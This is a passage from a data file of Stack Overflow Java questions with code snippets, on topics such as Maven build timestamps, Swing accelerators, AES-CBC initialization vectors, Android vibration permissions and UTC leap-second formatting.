I R . . . : R I : LDC -37336464900011 R I I I I I R . . . : R I I : ALOAD 000012 R I I I I I R . . . : R I I R : GETFIELD d.at : I00013 R I I I I I R . . . : R I I I : IMUL00014 R I I I I I R . . . : R I I : ICONST_000015 R I I I I I R . . . : R I I I : INVOKEVIRTUAL cc.y ( III ) V00016 R I I I I I R . . . : : GOTO L300017 ? : L400018 ? : ACONST_NULL00019 ? : ARETURN00020 R I I I I I . . . . : : L500021 R I I I I I . . . . : : ILOAD 100022 R I I I I I . . . . : I : IFEQ L600023 R I I I I I . . . . : : LDC -72322097300024 ? : ALOAD 000025 ? : GETFIELD d.an : I00026 ? : IMUL00027 ? : ISTORE 300028 ? : LDC 167196065300029 ? : ALOAD 000030 ? : GETFIELD d.ad : I00031 ? : IMUL00032 ? : ISTORE 400033 ? : GOTO L700034 R I I I I I R . . . : : L800035 R I I I I I R . . . : : LDC 195594663900036 R I I I I I R . . . : I : ALOAD 000037 R I I I I I R . . . : I R : GETFIELD d.au : I00038 R I I I I I R . . . : I I : IMUL00039 R I I I I I R . . . : I : IFEQ L900040 R I I I I I R . . . : : L1000041 R I I I I I R . . . : : IINC 7 100042 R I I I I I R I . . : : GOTO L1100043 ? : L700044 ? : LDC 89409288300045 ? : ALOAD 000046 ? : GETFIELD d.ac : I00047 ? : IMUL00048 ? : ISTORE 500049 ? : GOTO L600050 R I I I I I . . . . : : L1200051 R I I I I I . . . . : : GETSTATIC d.b : Lem ; 00052 R I I I I I . . . . : R : ILOAD 300053 R I I I I I . . . . : R I : ICONST_000054 R I I I I I . . . . : R I I : INVOKESTATIC cc.l ( Lem ; II ) Lcc ; 00055 R I I I I I . . . . : R : ASTORE 600056 R I I I I I R . . . : : ILOAD 400057 R I I I I I R . . . : I : ICONST_M100058 R I I I I I R . . . : I I : IF_ICMPEQ L1300059 R I I I I I R . . . : : GETSTATIC d.b : Lem ; 00060 ? : ILOAD 400061 ? : ICONST_000062 ? : INVOKESTATIC cc.l ( Lem ; II ) Lcc ; 00063 ? : ASTORE 700064 ? : GOTO L1400065 ? : L1500066 ? : ICONST_200067 ? : ANEWARRAY cc00068 ? : DUP00069 ? : ICONST_000070 ? : ALOAD 600071 ? : AASTORE00072 ? : DUP00073 ? : ICONST_100074 ? : ALOAD 700075 ? : AASTORE00076 ? : ASTORE 800077 ? : GOTO L1600078 ? : L1700079 ? : GETSTATIC d.b : Lem ; 00080 ? : ILOAD 500081 ? : ICONST_000082 ? : INVOKESTATIC cc.l ( Lem ; II ) Lcc ; 00083 ? : ASTORE 800084 ? : ICONST_300085 ? : ANEWARRAY cc00086 ? : DUP00087 ? : ICONST_000088 ? : ALOAD 600089 ? : AASTORE00090 ? : DUP00091 ? : ICONST_100092 ? : ALOAD 700093 ? : AASTORE00094 ? : DUP00095 ? : ICONST_200096 ? : ALOAD 800097 ? : AASTORE00098 ? : ASTORE 900099 ? : NEW cc00100 ? : DUP00101 ? : ALOAD 900102 ? : ICONST_300103 ? : INVOKESPECIAL cc. < init > ( [ Lcc ; I ) V00104 ? : ASTORE 600105 ? : GOTO L1300106 R I I I I I R . . . : : L1800107 R I I I I I R . . . : : ALOAD 600108 R I I I I I R . . . : R : ARETURN00109 ? : L1600110 ? : NEW cc00111 ? : DUP00112 ? : ALOAD 800113 ? : ICONST_200114 ? : INVOKESPECIAL cc. < init > ( [ Lcc ; I ) V00115 ? : ASTORE 600116 R I I I I I R . . . : : L1300117 R I I I I I R . . . : : ILOAD 100118 R I I I I I R . . . : I : IFNE L900119 R I I I I I R . . . : : ILOAD 200120 R I I I I I R . . . : I : ICONST_100121 R I I I I I R . . . : I I : IF_ICMPEQ L800122 R I I I I I R . . . : : NEW java/lang/IllegalStateException00123 ? : DUP00124 ? : INVOKESPECIAL java/lang/IllegalStateException. < init > ( ) V00125 ? : ATHROW00126 ? : L1400127 ? : ILOAD 500128 ? : ICONST_M100129 ? : IF_ICMPEQ L1500130 ? : ILOAD 200131 ? : ICONST_100132 ? : IF_ICMPEQ L1700133 ? : NEW java/lang/IllegalStateException00134 ? : DUP00135 ? : INVOKESPECIAL java/lang/IllegalStateException. < init > ( ) V00136 ? : ATHROW00137 R I I I I . . . . . : : L1900138 R I I I I . . . . . : : LDC 164227188900139 R I I I I . . . . . : I : ALOAD 000140 R I I I I . . . . . : I R : GETFIELD d.ay : I00141 R I I I I . . . . . : I I : IMUL00142 R I I I I . . . . . : I : ISTORE 500143 R I I I I I . . . . : : GOTO L500144 R I I I I I R . . . : : L900145 R I I I I I R . . . : : ILOAD 100146 R I I I I I R . . . : I : IFEQ L300147 R I I I I I R . . . : : ILOAD 200148 R I I I I I R . . . : I : ICONST_100149 R I I I I I R . . . : I I : IF_ICMPEQ L2000150 R I I I I I R . . . : : NEW java/lang/IllegalStateException00151 R I I I I I R . . . : R : DUP00152 R I I I I I R . . . : R R : INVOKESPECIAL java/lang/IllegalStateException. < init > ( ) V00153 R I I I I I R . . . : R : ATHROW00154 R I I I I I R . . . : : L2000155 R I I I I I R . . . : : ICONST_000156 R I I I I I R . . . : I : LDC -37336464900157 R I I I I I R . . . : I I : ALOAD 000158 R I I I I I R . . . : I I R : GETFIELD d.at : I00159 R I I I I I R . . . : I I I : IMUL00160 R I I I I I R . . . : I I : IF_ICMPEQ L300161 R I I I I I R . . . : : ILOAD 200162 R I I I I I R . . . : I : ICONST_100163 R I I I I I R . . . : I I : IF_ICMPEQ L200164 R I I I I I R . . . : : NEW java/lang/IllegalStateException00165 R I I I I I R . . . : R : DUP00166 R I I I I I R . . . : R R : INVOKESPECIAL java/lang/IllegalStateException. < init > ( ) V00167 R I I I I I R . . . : R : ATHROW00168 R I I I I I R . . . : : L2100169 R I I I I I R . . . : : ICONST_000170 R I I I I I R . . . : I : ISTORE 700171 R I I I I I R I . . : : GOTO L2200172 R I I I I I R . . . : : L300173 R I I I I I R . . . : : ALOAD 000174 R I I I I I R . . . : R : GETFIELD d.c : [ S00175 R I I I I I R . . . : R : IFNULL L2300176 R I I I I I R . . . : : ILOAD 200177 R I I I I I R . . . : I : ICONST_100178 R I I I I I R . . . : I I : IF_ICMPEQ L2400179 R I I I I I R . . . : : NEW java/lang/IllegalStateException00180 R I I I I I R . . . : R : DUP00181 R I I I I I R . . . : R R : INVOKESPECIAL java/lang/IllegalStateException. < init > ( ) V00182 R I I I I I R . . . : R : ATHROW00183 R I I I I I R . . . : : L2400184 R I I I I I R . . . : : ICONST_000185 R I I I I I R . . . : I : ISTORE 700186 R I I I I I R I . . : : GOTO L1100187 R I I I I I R . . . : : L2300188 R I I I I I R . . . : : ALOAD 000189 R I I I I I R . . . : R : GETFIELD d.a : [ S00190 R I I I I I R . . . : R : IFNULL L1800191 R I I I I I R . . . : : ILOAD 200192 R I I I I I R . . . : I : ICONST_100193 R I I I I I R . . . : I I : IF_ICMPEQ L2100194 R I I I I I R . . . : : NEW java/lang/IllegalStateException00195 R I I I I I R . . . : R : DUP00196 R I I I I I R . . . : R R : INVOKESPECIAL java/lang/IllegalStateException. < init > ( ) V00197 R I I I I I R . . . : R : ATHROW00198 R I I I I I R I . . : : L2500199 R I I I I I R I . . : : ALOAD 600200 R I I I I I R I . . : R : ALOAD 000201 R I I I I I R I . . : R R : GETFIELD d.c : [ S00202 R I I I I I R I . . : R R : ILOAD 700203 R I I I I I R I . . : R R I : SALOAD00204 R I I I I I R I . . : R I : ALOAD 000205 R I I I I I R I . . : R I R : GETFIELD d.m : [ S00206 R I I I I I R I . . : R I R : ILOAD 700207 R I I I I I R I . . : R I R I : SALOAD00208 R I I I I I R I . . : R I I : INVOKEVIRTUAL cc.v ( SS ) V00209 R I I I I I R I . . : : GOTO L1000210 R I I I I I R I . . : : L1100211 R I I I I I R I . . : : ILOAD 700212 R I I I I I R I . . : I : ALOAD 000213 R I I I I I R I . . : I R : GETFIELD d.c : [ S00214 R I I I I I R I . . : I R : ARRAYLENGTH00215 R I I I I I R I . . : I I : IF_ICMPGE L2300216 R I I I I I R I . . : : GOTO L2500217 R I I I . . . . . . : : L100218 R I I I . . . . . . : : ALOAD 000219 R I I I . . . . . . : R : GETFIELD d.ar : I00220 R I I I . . . . . . : I : LDC 60895818300221 R I I I . . . . . . : I I : IMUL00222 R I I I . . . . . . : I : ISTORE 400223 R I I I I . . . . . : : GOTO L1900224 ? : L2600225 ? : ALOAD 600226 ? : ICONST_000227 ? : LDC 195594663900228 ? : ALOAD 000229 ? : GETFIELD d.au : I00230 ? : IMUL00231 ? : ICONST_000232 ? : INVOKEVIRTUAL cc.y ( III ) V00233 ? : GOTO L900234 R I I I I I R I . . : : L2200235 R I I I I I R I . . : : ILOAD 700236 R I I I I I R I . . : I : ALOAD 000237 R I I I I I R I . . : I R : GETFIELD d.a : [ S00238 R I I I I I R I . . : I R : ARRAYLENGTH00239 R I I I I I R I . . : I I : IF_ICMPGE L1800240 R I I I I I R I . . : : ILOAD 200241 R I I I I I R I . . : I : ICONST_100242 R I I I I I R I . . : I I : IF_ICMPEQ L2700243 R I I I I I R I . . : : NEW java/lang/IllegalStateException00244 R I I I I I R I . . : R : DUP00245 R I I I I I R I . . : R R : INVOKESPECIAL java/lang/IllegalStateException. < init > ( ) V00246 R I I I I I R I . . : R : ATHROW00247 R I I I I I R I . . : : L2700248 R I I I I I R I . . : : ALOAD 600249 R I I I I I R I . . : R : ALOAD 000250 R I I I I I R I . . : R R : GETFIELD d.a : [ S00251 R I I I I I R I . . : R R : ILOAD 700252 R I I I I I R I . . : R R I : SALOAD00253 R I I I I I R I . . : R I : ALOAD 000254 R I I I I I R I . . : R I R : GETFIELD d.e : [ S00255 R I I I I I R I . . : R I R : ILOAD 700256 R I I I I I R I . . : R I R I : SALOAD00257 R I I I I I R I . . : R I I : INVOKEVIRTUAL cc.s ( SS ) V00258 R I I I I I R I . . : : IINC 7 100259 R I I I I I R I . . : : GOTO L2200260 R I I I I I . . . . : : L600261 R I I I I I . . . . : : ILOAD 300262 R I I I I I . . . . : I : ICONST_M100263 R I I I I I . . . . : I I : IF_ICMPNE L1200264 R I I I I I . . . . : : GOTO L400265 R I I . . . . . . . : R : L2800266 R I I . . . . . . . : R : NEW java/lang/StringBuilder00267 R I I . . . . . . . : R R : DUP00268 R I I . . . . . . . : R R R : INVOKESPECIAL java/lang/StringBuilder. < init > ( ) V00269 R I I . . . . . . . : R R : LDC `` af.m ( `` 00270 R I I . . . . . . . : R R R : INVOKEVIRTUAL java/lang/StringBuilder.append ( Ljava/lang/String ; ) Ljava/lang/StringBuilder ; 00271 R I I . . . . . . . : R R : LDC 4100272 R I I . . . . . . . : R R I : INVOKEVIRTUAL java/lang/StringBuilder.append ( C ) Ljava/lang/StringBuilder ; 00273 R I I . . . . . . . : R R : INVOKEVIRTUAL java/lang/StringBuilder.toString ( ) Ljava/lang/String ; 00274 R I I . . . . . . . : R R : INVOKESTATIC b.b ( Ljava/lang/Throwable ; Ljava/lang/String ; ) Lcd ; 00275 R I I . . . . . . . : R : ATHROW TRYCATCHBLOCK L0 L28 L28 java/lang/RuntimeException",Remove Exception from method body with ASM +Java,"I want to show the build timestamp on my website using Wildfly 9 . I created a buildInfo.properties with build.timestamp= $ { timestamp } .pom.xml : When I run the program , there is an error : `` { \ '' WFLYCTL0080 : Failed services\ '' = > { \ '' jboss.persistenceunit.\\ '' consolidated-statement-war-1.0-SNAPSHOT.war # consolidatedStatement\\ '' .FIRST_PHASE\ '' = > \ '' org.jboss.msc.service.StartException in service jboss.persistenceunit.\\ '' consolidated-statement-war-1.0-SNAPSHOT.war # consolidatedStatement\\ '' .FIRST_PHASE : org.hibernate.jpa.boot.archive.spi.ArchiveException : Could not build ClassFile Caused by : org.hibernate.jpa.boot.archive.spi.ArchiveException : Could not build ClassFile\ '' } } '' But if I remove the build section in my pom.xml , the application runs but the timestamp does not show . How do I get the timestamp to display ?",< project xmlns= '' http : //maven.apache.org/POM/4.0.0 '' xmlns : xsi= '' http : //www.w3.org/2001/XMLSchema-instance '' xsi : schemaLocation= '' http : //maven.apache.org/POM/4.0.0 http : //maven.apache.org/xsd/maven-4.0.0.xsd '' > < modelVersion > 4.0.0 < /modelVersion > < parent > < groupId > com.daksa.consolidated.statement < /groupId > < artifactId > consolidated-statement < /artifactId > < version > 1.0-SNAPSHOT < /version > < /parent > < artifactId > consolidated-statement-war < /artifactId > < packaging > war < /packaging > < name > consolidated-statement-war < /name > < description > consolidated-statement-war < /description > < properties > < project.build.sourceEncoding > UTF-8 < /project.build.sourceEncoding > < maven.compiler.target > 1.7 < /maven.compiler.target > < maven.compiler.source > 1.7 < /maven.compiler.source > < timestamp > $ { maven.build.timestamp } < /timestamp > < /properties > < dependencies > < ! -- Daksa -- > < dependency > < groupId > com.daksa.sandra < /groupId > < artifactId > sandra-api < /artifactId > < version > 2.0-SNAPSHOT < /version > < /dependency > < ! -- Java EE -- > < dependency > < groupId > javax < /groupId > < artifactId > javaee-api < /artifactId > < version > 7.0 < /version > < scope > provided < /scope > < /dependency > < ! -- Logging -- > < dependency > < groupId > org.slf4j < /groupId > < artifactId > slf4j-api < /artifactId > < version > 1.7.12 < /version > < /dependency > < dependency > < groupId > ch.qos.logback < /groupId > < artifactId > logback-classic < /artifactId > < version > 1.1.1 < /version > < /dependency > < dependency > < groupId > ch.qos.logback < /groupId > < artifactId > logback-core < /artifactId > < version > 1.1.1 < /version > < /dependency > < ! -- Testing -- > < dependency > < groupId > junit < /groupId > < artifactId > junit < /artifactId > < version > 4.12 < /version > < scope > test < /scope > < /dependency > < dependency > < groupId > org.mockito < /groupId > < artifactId > mockito-all < /artifactId > < version > 1.9.5 < /version > < scope > test < /scope > < /dependency > < ! -- Primefaces -- > < dependency > < groupId > org.primefaces < /groupId > < artifactId > primefaces < /artifactId > < version > 5.3 < /version > < /dependency > < dependency > < groupId > org.primefaces.extensions < /groupId > < artifactId > primefaces-extensions < /artifactId > < version > 3.0.0 < /version > < /dependency > < ! -- Shiro -- > < dependency > < groupId > org.apache.shiro < /groupId > < artifactId > shiro-core < /artifactId > < version > 1.2.3 < /version > < /dependency > < dependency > < groupId > org.apache.shiro < /groupId > < artifactId > shiro-web < /artifactId > < version > 1.2.3 < /version > < /dependency > < ! -- POI -- > < dependency > < groupId > org.apache.poi < /groupId > < artifactId > poi < /artifactId > < version > 3.13 < /version > < /dependency > < dependency > < groupId > org.apache.poi < /groupId > < artifactId > poi-ooxml < /artifactId > < version > 3.13 < /version > < /dependency > < ! -- CSV -- > < dependency > < groupId > org.apache.commons < /groupId > < artifactId > commons-csv < /artifactId > < version > 1.2 < /version > < /dependency > < ! -- JSON -- > < dependency > < groupId > com.fasterxml.jackson.core < /groupId > < artifactId > jackson-core < /artifactId > < version > 2.6.3 < /version > < /dependency > < dependency > < groupId > com.fasterxml.jackson.core < /groupId > < artifactId > jackson-databind < /artifactId > < version > 2.6.3 < /version > < /dependency > < dependency > < groupId > com.fasterxml.jackson.core < /groupId > < artifactId > jackson-annotations < /artifactId > < version > 2.6.3 < /version > < /dependency > < dependency > < groupId > com.fasterxml.jackson.module < /groupId > < artifactId > jackson-module-jaxb-annotations < /artifactId > < version > 2.6.3 < /version > < /dependency > < ! -- Guava -- > < dependency > < groupId > com.google.guava < /groupId > < artifactId > guava < /artifactId > < version > 18.0 < /version > < /dependency > < ! -- Atmosphere -- > < dependency > < groupId > org.atmosphere < /groupId > < artifactId > atmosphere-runtime < /artifactId > < version > 2.4.1 < /version > < /dependency > < ! -- Apache Commons Code -- > < dependency > < groupId > commons-codec < /groupId > < artifactId > commons-codec < /artifactId > < version > 1.10 < /version > < /dependency > < ! -- Ehcache -- > < dependency > < groupId > net.sf.ehcache < /groupId > < artifactId > ehcache < /artifactId > < version > 2.10.1 < /version > < /dependency > < ! -- Jasper Report -- > < dependency > < groupId > net.sf.jasperreports < /groupId > < artifactId > jasperreports < /artifactId > < version > 6.2.0 < /version > < type > jar < /type > < exclusions > < exclusion > < artifactId > javassist < /artifactId > < groupId > jboss < /groupId > < /exclusion > < /exclusions > < /dependency > < dependency > < groupId > org.codehaus.groovy < /groupId > < artifactId > groovy-all < /artifactId > < version > 2.4.5 < /version > < exclusions > < exclusion > < artifactId > javassist < /artifactId > < groupId > jboss < /groupId > < /exclusion > < /exclusions > < /dependency > < ! -- Common -- > < dependency > < groupId > commons-net < /groupId > < artifactId > commons-net < /artifactId > < version > 3.4 < /version > < type > jar < /type > < /dependency > < /dependencies > < profiles > < profile > < id > default < /id > < activation > < activeByDefault > true < /activeByDefault > < /activation > < build > < plugins > < plugin > < artifactId > maven-surefire-plugin < /artifactId > < version > 2.16 < /version > < configuration > < skip > true < /skip > < /configuration > < /plugin > < /plugins > < /build > < /profile > < /profiles > < build > < resources > < resource > < directory > src/main/resources < /directory > < filtering > true < /filtering > < /resource > < /resources > < /build > < repositories > < /repositories >,How do I create a build timestamp in a Java web application using Maven ? +Java,I have an application with a tabbed pane and different components in it . I have set a MenuItem as Action with an Accelerator : I know there is one tab where the Accelearator for the F6 key does n't work . the F7 key works.Is there maybe a default accelerator on a Swing Element that has priority over my accelerator ?,"private final Action focusDefaultCommandsAction = new AbstractAction ( ) { { putValue ( NAME , `` Fokusiere Kommandoliste '' ) ; putValue ( ACCELERATOR_KEY , KeyStroke.getKeyStroke ( KeyEvent.VK_F6 , 0 ) ) ; } @ Override public void actionPerformed ( final ActionEvent e ) { invokeShowCommandsList ( ) ; } } ;",Is there a Swing element which has F6 as a default accelerator ? +Java,"In my eclipse-rcp application I need to create an image with dimensions 30000x10000 px or more . This image is NatTable representation . Using standard image creation approach , it fails with different problems : OutOfMemory , SWTError - IllegalArgument or my PC stops responding ( btw , its windows 7 , 64bit , 4 RAM - client have much slower laptops , but the picture is still needs to be created ) . Here is a code snippet : Are there any tricks to create such huge images or may be API ? Is Java Advanced Imaging Api suitable for this purpose ? Any suggestions are appreciated .","private Image getNattableImageRepresentation ( final Display display ) { final Rectangle totalGridArea = getTotalGridArea ( ) ; //this returns Rectangle ( 0,0,30000,10000 ) setGridLayerSize ( totalGridArea ) ; final Image nattableImage = new Image ( display , totalGridArea ) ; final GC nattableGC = new GC ( nattableImage ) ; gridLayer.getLayerPainter ( ) .paintLayer ( gridLayer , nattableGC , 0 , 0 , totalGridArea , configRegistry ) ; //nattable API , which draws an image into a specified gc restoreGridLayerState ( ) ; return nattableImage ; } return null ; }",How to create large SWT image ? +Java,"I have two Android-Devices , i have no IP-Addresses the Mac-Addresses are how to send a byte from a to b ? Is it possible ? EDIT : droped DatagramSocket-Sources because its packed-based.By the way : Wifi-Direct or Bluetooth is not supported by the devices .",d0 : e7:82 : fa:90:33 ( a ) 8c : bf : a6 : a8:77:8f ( b ),Message from Android to Android without Accesspoint +Java,"A timestamp expressed in milliseconds since 1.1.1970 UTC is a common way to store timestamps , e.g in Java.e.g : Such a timestamp can be formated in human readle time format , e.g using this codewhich gives output : 2014-02-14 14:58:05Now imagine that today at midnight the time administration introduces a new UTC leap second.If I run the code above tommorow , the java JRE on my system can not know that leap second introduction , and would format the time wrongly ( by one second ) .Is my asumption correct ? How to correctly format the time ( e.g in a log file ) in systems that can not always use an up to date JRE ? .Background info : This is used in an embedded device , which synchronizes its system clock via GPS , having the GPS number of leap seconds offset to UTC .","long timestampUtc = System.currentTimeMillis ( ) ; SimpleDateFormat df = new SimpleDateFormat ( `` yyyy-MM-dd HH : mm : ss '' , Locale.US ) ; df.setTimeZone ( TimeZone.getTimeZone ( `` UTC '' ) ) ; String humanTimeUtc = df.format ( new Date ( timestampUtc ) ) ; System.out.println ( humanTimeUtc ) ;","How can a 1 year old ( java ) lib correctly perform an UTC Time formatting , considering a newly introduced leap second" +Java,"Is the Javadocs for Java 8 incomplete ? Some of the method comments are omitted and the method description is copied ( incorrectly ) from a base class ( e.g . the java.util.IntSummaryStatistics toString ( ) method with the note `` Description copied from class : Object '' . Description copied from class : Object Returns a string representation of the object . In general , the toString method returns a string that `` textually represents '' this object . The result should be a concise but informative representation that is easy for a person to read . It is recommended that all subclasses override this method . The toString method for class Object returns a string consisting of the name of the class of which the object is an instance , the at-sign character ' @ ' , and the unsigned hexadecimal representation of the hash code of the object . In other words , this method returns a string equal to the value of : Overrides : toString in class Object Returns : a string representation of the object.The actual toString method returns class specific information like this : and not the default inherited from class Object , as shown here .","public String toString ( ) getClass ( ) .getName ( ) + ' @ ' + Integer.toHexString ( hashCode ( ) ) IntSummaryStatistics { count=10 , sum=129 , min=2 , average=12.900000 , max=29 }",Incomplete Javadoc in Java 8 ? +Java,"I want this library I 'm working on to have logging support , but Android and SE have their own ways of logging . In SE you can use System.out.println methods or the java.util.logging.Logger class . Android uses android.util.Log to log on logcat . At first I used reflection to check if android was usable , then reflectively call the log methods in Log.class ; but that was n't a good idea . My solution is to have the developers using my library handle logs themselves . There will be a Handler interface they set and has an onLog methodThe library will call the onLog method on the handlers in my custom Logger class . Is it a good idea to have developers handle the logs instead of the library itself ? Seems to be the best solution so far and if I document it good then it should't be an issue .","public void onLog ( int level , String tag , String msg ) ;",( Java SE/Android ) cross platform logging +Java,"I wanted to try my hand at encrypting a file and utilized the following stack overflow response . However , while testing out the initialization vector , I found it only effected the first 16 bytes.When I pass an empty iv to the decrypt cipher ( other than the first 16 bytes ) the data was unexpectedly decrypted . [ I assume the library is n't broke and that I 'm doing something improperly ; but it 's a scary thought that others may be in the same boat and not realize it . ] Example : Q : Why is n't the entire decryption failing ? Speculation : I suppose I could do the encryption by iterating over the data 16 bytes at a time and updating the iv each round by hashing the prior encrypted 16 byte block . However , that seems to be busy work that I would have expected the library to do . And I would have expected it to have been mentioned by the experts that present implementation guidelines . But I 'm just grasping at straws here . For all I know , maybe the security community is only worried about a hack on the first block.Note : Just now I found a 5.5 year old stack overflow post that identified this same issue ; and unfortunately it still does not have a response .","Initial bytes ... .. 2222222222222222222222222222222222222222222222222222 Encrypted bytes ... b35b3945cdcd08e2f8a65b353ff754c32a48d9624e16b616d432 Decrypted bytes ... 3c4154f7f33a2edbded5e5af5d3d39b422222222222222222222 package test ; import java.security.AlgorithmParameters ; import java.security.spec.KeySpec ; import java.util.Formatter ; import javax.crypto.Cipher ; import javax.crypto.SecretKey ; import javax.crypto.SecretKeyFactory ; import javax.crypto.spec.IvParameterSpec ; import javax.crypto.spec.PBEKeySpec ; import javax.crypto.spec.SecretKeySpec ; /* * Issue : Using `` AES/CBC/PKCS5Padding '' encryption , the Initialization Vector * appears to only affect the first block ? ! ? * * Example Output * iv 1e6376d5d1180cf9fcf7c78d7f1f1b96 * bv 00000000000000000000000000000000 * I : 222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222 * E : b35b3945cdcd08e2f8a65b353ff754c32a48d9624e16b616d432ee5f78a26aa295d83625634d1048bf2dbb51fc657b7f796b60066129da5e1e7d3c7b51a30c1d962db75ac6666d4b32513c154b47f18eb66f62d7417cfd77f07f81f27f08d7d818e6910ca5849da3e6cff852bc06317e2d51907879598c8d3ae74074f4c27f7b8e2f74ca04d3ed6ac839b819a0f4cb462d0a4d9497cd917b8bd0aafb590ddd593b5b652cf8f642d3b2cd9dc0981dc1c913d52d065a844ea65e72cd7738eee3b488c4304e884109320dc54668ac4659d6014de9cf19422f7f68157d4330478589533571434d07b1939e56259fb8828823361bc912b84dc6ccdd5878b1d05801e0a6ce099bc86f1356fd145338163d59a07f2efdb1a6f91f4a35e6304f2d15d9972b0dda3c2275b5942a7f032ab6f90138 * D : 3c4154f7f33a2edbded5e5af5d3d39b42222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222 */public class IvBug { public static void main ( String [ ] args ) throws Exception { // Initialize . final char [ ] password = `` foo '' .toCharArray ( ) ; final byte [ ] salt = `` bar '' .getBytes ( ) ; byte [ ] iData = new byte [ 300 ] ; java.util.Arrays.fill ( iData , ( byte ) 0x22 ) ; // Make the issue easy to see.// for ( int i=0 ; i < msg.length ; i++ ) msg [ i ] = ( byte ) i ; // Alternate fill . // Perform the test . SecretKey sKey = generateKey ( password , salt ) ; byte [ ] iv = generateIv ( sKey ) ; byte [ ] eData = encrypt ( sKey , iData , iv ) ; byte [ ] badIv = new byte [ iv.length ] ; // Discard initialization vector . byte [ ] dData = decrypt ( sKey , eData , badIv ) ; // Display the results . System.out.println ( `` iv `` + hexStr ( iv ) ) ; System.out.println ( `` bv `` + hexStr ( badIv ) ) ; System.out.println ( `` I : `` + hexStr ( iData ) ) ; // Initial System.out.println ( `` E : `` + hexStr ( eData ) ) ; // Encrypted System.out.println ( `` D : `` + hexStr ( dData ) ) ; // Decrypted } static SecretKey generateKey ( char [ ] password , byte [ ] salt ) throws Exception { SecretKeyFactory factory = SecretKeyFactory.getInstance ( `` PBKDF2WithHmacSHA256 '' ) ; KeySpec spec = new PBEKeySpec ( password , salt , 65536 , 128 ) ; SecretKey tmp = factory.generateSecret ( spec ) ; return new SecretKeySpec ( tmp.getEncoded ( ) , `` AES '' ) ; } static byte [ ] generateIv ( SecretKey key ) throws Exception { Cipher cipher = Cipher.getInstance ( `` AES/CBC/PKCS5Padding '' ) ; AlgorithmParameters params = cipher.getParameters ( ) ; return params.getParameterSpec ( IvParameterSpec.class ) .getIV ( ) ; } static byte [ ] encrypt ( SecretKey key , byte [ ] data , byte [ ] iv ) throws Exception { Cipher cipher = Cipher.getInstance ( `` AES/CBC/PKCS5Padding '' ) ; cipher.init ( Cipher.ENCRYPT_MODE , key , new IvParameterSpec ( iv ) ) ; return cipher.doFinal ( data ) ; } static byte [ ] decrypt ( SecretKey key , byte [ ] data , byte [ ] iv ) throws Exception { Cipher cipher = Cipher.getInstance ( `` AES/CBC/PKCS5Padding '' ) ; cipher.init ( Cipher.DECRYPT_MODE , key , new IvParameterSpec ( iv ) ) ; return cipher.doFinal ( data ) ; } static String hexStr ( byte [ ] bytes ) { try ( Formatter formatter = new Formatter ( ) ) { for ( byte b : bytes ) formatter.format ( `` % 02x '' , b ) ; return formatter.toString ( ) ; } } }",Cryptography : Why does my encryption initialization vector only effect the first 16 bytes ? +Java,"EDIT Thanks to YP D 's answer , I have a solution . Added at the endEver since updating my Pixel 3 to android version 10 ( API 29 ) , my application 's vibration is not working.My app requests vibration permission , and has vibration working on earlier ( < API 29 ) versions.Permissions : When connecting my phone to Android Studio and looking at the logcat , I noticed these errors : My vibration code ( durationMs is 50 , but I tested with 500 too ) : I am running this code via an AppWidgetProvider class , that uses a Handler.postDelayed ( ) thread to do some work.I have not found anything related to this issue online.What I assume is that since API 29 , VibratorService has an issue with background apps.If that is the case , I am not sure what approach should I take to bring the vibration to the foreground.I have considered using a Service for the background work , but I found it easier to do work on Handler threads , so I could easily find my Widget view after I am done calculating , and wish to update the on-screen text.Here is a solution based on YP D 's answer : The AudioAttributes seem to fix the vibration issue .","< uses-permission android : name= '' android.permission.INTERNET '' / > < uses-permission android : name= '' android.permission.VIBRATE '' / > 2019-09-11 18:46:28.622 1474-1546/ ? E/NotificationService : Suppressing notification from package by user request.2019-09-11 18:46:28.816 1474-3294/ ? E/VibratorService : Ignoring incoming vibration as process with uid = 10284 is background , usage = USAGE_UNKNOWN Vibrator v = ( Vibrator ) context.getSystemService ( VIBRATOR_SERVICE ) ; if ( Build.VERSION.SDK_INT > = Build.VERSION_CODES.O ) { v.vibrate ( VibrationEffect.createOneShot ( durationMs , VibrationEffect.DEFAULT_AMPLITUDE ) ) ; } else { v.vibrate ( durationMs ) ; } Vibrator v = ( Vibrator ) context.getSystemService ( VIBRATOR_SERVICE ) ; AudioAttributes audioAttributes = new AudioAttributes.Builder ( ) .setContentType ( AudioAttributes.CONTENT_TYPE_SONIFICATION ) .setUsage ( AudioAttributes.USAGE_ALARM ) .build ( ) ; VibrationEffect ve = VibrationEffect.createOneShot ( durationMs , VibrationEffect.DEFAULT_AMPLITUDE ) ; v.vibrate ( ve , audioAttributes ) ;",Vibration on widget click not working since API 29 +Java,"This JavaScript code returns 115.3 : This Java code returns 106.1 : They look the same to me , but they return different values . What 's wrong ?","function FV ( rate , nper , pmt , pv , type ) { var pow = Math.pow ( 1 + rate , nper ) ; var fv ; if ( rate ) { fv = ( pmt* ( 1+rate*type ) * ( 1-pow ) /rate ) -pv*pow ; } else { fv = -1 * ( pv + pmt * nper ) ; } return fv.toFixed ( 2 ) ; } document.write ( FV ( 0.06/12,12 , - ( 2750+1375 ) /12 , -0,0 ) - ( 0+2750+1375 ) ) public double FV ( double rate , double nper , double pmt , double pv , int type ) { double pow = Math.pow ( 1 + rate , nper ) ; double fv ; if ( rate > 0 ) { fv = ( pmt* ( 1+rate*type ) * ( 1-pow ) /rate ) -pv*pow ; } else { fv = -1 * ( pv + pmt * nper ) ; } return fv ; } System.out.println ( FV ( 0.06/12,12 , - ( 2750+1375 ) /12 , -0,0 ) - ( 0+2750+1375 ) ) ;",Why does this math function return different values in Java and JavaScript ? +Java,"How do you write an XML version 1.1 document in Java ? Java only seems to support version 1.0.I tried using the OutputKeys.VERSION output property , as shown below , but that had no effect : I tested the above code in the following JVMs : Linux : OpenJDK Runtime Environment ( IcedTea 2.5.5 ) ( 7u79-2.5.5-1~deb7u1 ) Linux : Java ( TM 